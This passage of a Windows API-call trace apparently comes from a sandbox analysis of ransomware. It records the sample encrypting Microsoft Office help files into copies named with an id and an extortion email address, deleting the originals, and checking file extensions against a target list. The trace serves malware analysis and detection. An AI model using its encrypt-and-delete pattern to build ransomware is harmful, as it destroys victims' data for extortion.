	[0261.687] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.687] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0261.687] SetEndOfFile (hFile=0x330) returned 1
	[0261.687] CloseHandle (hObject=0x330) returned 1
	[0261.687] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.687] SetEndOfFile (hFile=0x334) returned 1
	[0261.689] CloseHandle (hObject=0x334) returned 1
	[0261.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 1
	[0261.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.690] lstrlenW (lpString=".doc") returned 4
	[0261.690] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.690] lstrlenW (lpString=".docx") returned 5
	[0261.690] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.690] lstrlenW (lpString=".pdf") returned 4
	[0261.690] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.690] lstrlenW (lpString=".xls") returned 4
	[0261.690] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.690] lstrlenW (lpString=".xlsx") returned 5
	[0261.690] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.690] lstrlenW (lpString=".ppt") returned 4
	[0261.690] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.690] lstrlenW (lpString=".zip") returned 4
	[0261.690] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.690] lstrlenW (lpString=".rar") returned 4
	[0261.690] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.690] lstrlenW (lpString=".bz2") returned 4
	[0261.691] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.691] lstrlenW (lpString=".7z") returned 3
	[0261.691] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString=".dbf") returned 4
	[0261.691] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString=".1cd") returned 4
	[0261.691] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString=".jpg") returned 4
	[0261.691] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString=".doc") returned 4
	[0261.691] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.691] lstrlenW (lpString=".docx") returned 5
	[0261.691] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.691] lstrlenW (lpString=".pdf") returned 4
	[0261.691] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.691] lstrlenW (lpString=".xls") returned 4
	[0261.691] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.691] lstrlenW (lpString=".xlsx") returned 5
	[0261.691] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.691] lstrlenW (lpString=".ppt") returned 4
	[0261.691] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.691] lstrlenW (lpString=".zip") returned 4
	[0261.691] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.691] lstrlenW (lpString=".rar") returned 4
	[0261.691] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.692] lstrlenW (lpString=".bz2") returned 4
	[0261.692] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.692] lstrlenW (lpString=".7z") returned 3
	[0261.692] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.692] lstrlenW (lpString=".dbf") returned 4
	[0261.692] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.692] lstrlenW (lpString=".1cd") returned 4
	[0261.692] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61
	[0261.692] lstrlenW (lpString=".jpg") returned 4
	[0261.692] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.692] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0261.692] lstrlenW (lpString="GRAPH_COL.HXT") returned 13
	[0261.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.692] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=205) returned 1
	[0261.692] CloseHandle (hObject=0x334) returned 1
	[0261.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20
	[0261.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.693] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.693] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.693] GetLastError () returned 0x0
	[0261.693] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xcd, lpOverlapped=0x0) returned 1
	[0261.694] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0261.695] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.695] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0261.695] SetEndOfFile (hFile=0x330) returned 1
	[0261.695] CloseHandle (hObject=0x330) returned 1
	[0261.695] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.695] SetEndOfFile (hFile=0x334) returned 1
	[0261.697] CloseHandle (hObject=0x334) returned 1
	[0261.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 1
	[0261.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString=".doc") returned 4
	[0261.698] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.698] lstrlenW (lpString=".docx") returned 5
	[0261.698] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.698] lstrlenW (lpString=".pdf") returned 4
	[0261.698] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.698] lstrlenW (lpString=".xls") returned 4
	[0261.698] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.698] lstrlenW (lpString=".xlsx") returned 5
	[0261.698] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.698] lstrlenW (lpString=".ppt") returned 4
	[0261.698] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString=".zip") returned 4
	[0261.698] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.698] lstrlenW (lpString=".rar") returned 4
	[0261.698] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.698] lstrlenW (lpString=".bz2") returned 4
	[0261.698] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.698] lstrlenW (lpString=".7z") returned 3
	[0261.698] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString=".dbf") returned 4
	[0261.698] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString=".1cd") returned 4
	[0261.698] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.698] lstrlenW (lpString=".jpg") returned 4
	[0261.698] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString=".doc") returned 4
	[0261.699] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.699] lstrlenW (lpString=".docx") returned 5
	[0261.699] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.699] lstrlenW (lpString=".pdf") returned 4
	[0261.699] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString=".xls") returned 4
	[0261.699] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString=".xlsx") returned 5
	[0261.699] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.699] lstrlenW (lpString=".ppt") returned 4
	[0261.699] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString=".zip") returned 4
	[0261.699] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString=".rar") returned 4
	[0261.699] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.699] lstrlenW (lpString=".bz2") returned 4
	[0261.699] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.699] lstrlenW (lpString=".7z") returned 3
	[0261.699] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString=".dbf") returned 4
	[0261.699] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString=".1cd") returned 4
	[0261.699] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61
	[0261.699] lstrlenW (lpString=".jpg") returned 4
	[0261.699] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.700] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.700] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15
	[0261.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.700] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=114) returned 1
	[0261.700] CloseHandle (hObject=0x334) returned 1
	[0261.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20
	[0261.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.700] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.700] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.701] GetLastError () returned 0x0
	[0261.701] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x72, lpOverlapped=0x0) returned 1
	[0261.702] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.702] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.702] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0261.702] SetEndOfFile (hFile=0x330) returned 1
	[0261.702] CloseHandle (hObject=0x330) returned 1
	[0261.702] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.703] SetEndOfFile (hFile=0x334) returned 1
	[0261.705] CloseHandle (hObject=0x334) returned 1
	[0261.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 1
	[0261.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.705] lstrlenW (lpString=".doc") returned 4
	[0261.705] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.705] lstrlenW (lpString=".docx") returned 5
	[0261.705] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.705] lstrlenW (lpString=".pdf") returned 4
	[0261.705] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.705] lstrlenW (lpString=".xls") returned 4
	[0261.705] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.705] lstrlenW (lpString=".xlsx") returned 5
	[0261.705] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.705] lstrlenW (lpString=".ppt") returned 4
	[0261.705] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString=".zip") returned 4
	[0261.706] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString=".rar") returned 4
	[0261.706] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString=".bz2") returned 4
	[0261.706] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.706] lstrlenW (lpString=".7z") returned 3
	[0261.706] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString=".dbf") returned 4
	[0261.706] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString=".1cd") returned 4
	[0261.706] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString=".jpg") returned 4
	[0261.706] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.706] lstrlenW (lpString=".doc") returned 4
	[0261.706] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.706] lstrlenW (lpString=".docx") returned 5
	[0261.706] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.706] lstrlenW (lpString=".pdf") returned 4
	[0261.706] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString=".xls") returned 4
	[0261.706] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString=".xlsx") returned 5
	[0261.706] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.706] lstrlenW (lpString=".ppt") returned 4
	[0261.706] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.707] lstrlenW (lpString=".zip") returned 4
	[0261.707] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.707] lstrlenW (lpString=".rar") returned 4
	[0261.707] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.707] lstrlenW (lpString=".bz2") returned 4
	[0261.707] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.707] lstrlenW (lpString=".7z") returned 3
	[0261.707] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.707] lstrlenW (lpString=".dbf") returned 4
	[0261.707] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.707] lstrlenW (lpString=".1cd") returned 4
	[0261.707] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63
	[0261.707] lstrlenW (lpString=".jpg") returned 4
	[0261.707] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.707] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.707] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15
	[0261.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.708] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0261.708] CloseHandle (hObject=0x334) returned 1
	[0261.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20
	[0261.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.708] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.708] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.709] GetLastError () returned 0x0
	[0261.709] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0261.709] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.710] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.710] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0261.710] SetEndOfFile (hFile=0x330) returned 1
	[0261.710] CloseHandle (hObject=0x330) returned 1
